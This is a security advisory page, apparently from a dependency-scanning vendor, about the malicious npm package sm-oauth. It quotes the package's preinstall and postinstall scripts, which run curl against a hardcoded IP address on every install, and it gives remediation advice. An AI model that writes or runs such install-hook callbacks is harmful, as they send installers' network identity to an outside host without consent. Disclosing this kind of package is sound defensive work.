CRITICAL npm Malware

Malicious code in sm-oauth (npm)

MAL-2026-14398 · GHSA-9v7m-8hh3-3mc3

Published · Modified

Dependency scanning

Check whether sm-oauth is in your codebase

Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.

Description


__

Source: amazon-inspector (98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc)

package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.

Source: ghsa-malware (23741b67d64c1e28d52965821562f9cb6e8cdd1276fd84969497174fd5fba2aa)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Ready to move

Start Securing

Free, no credit card | First findings in minutes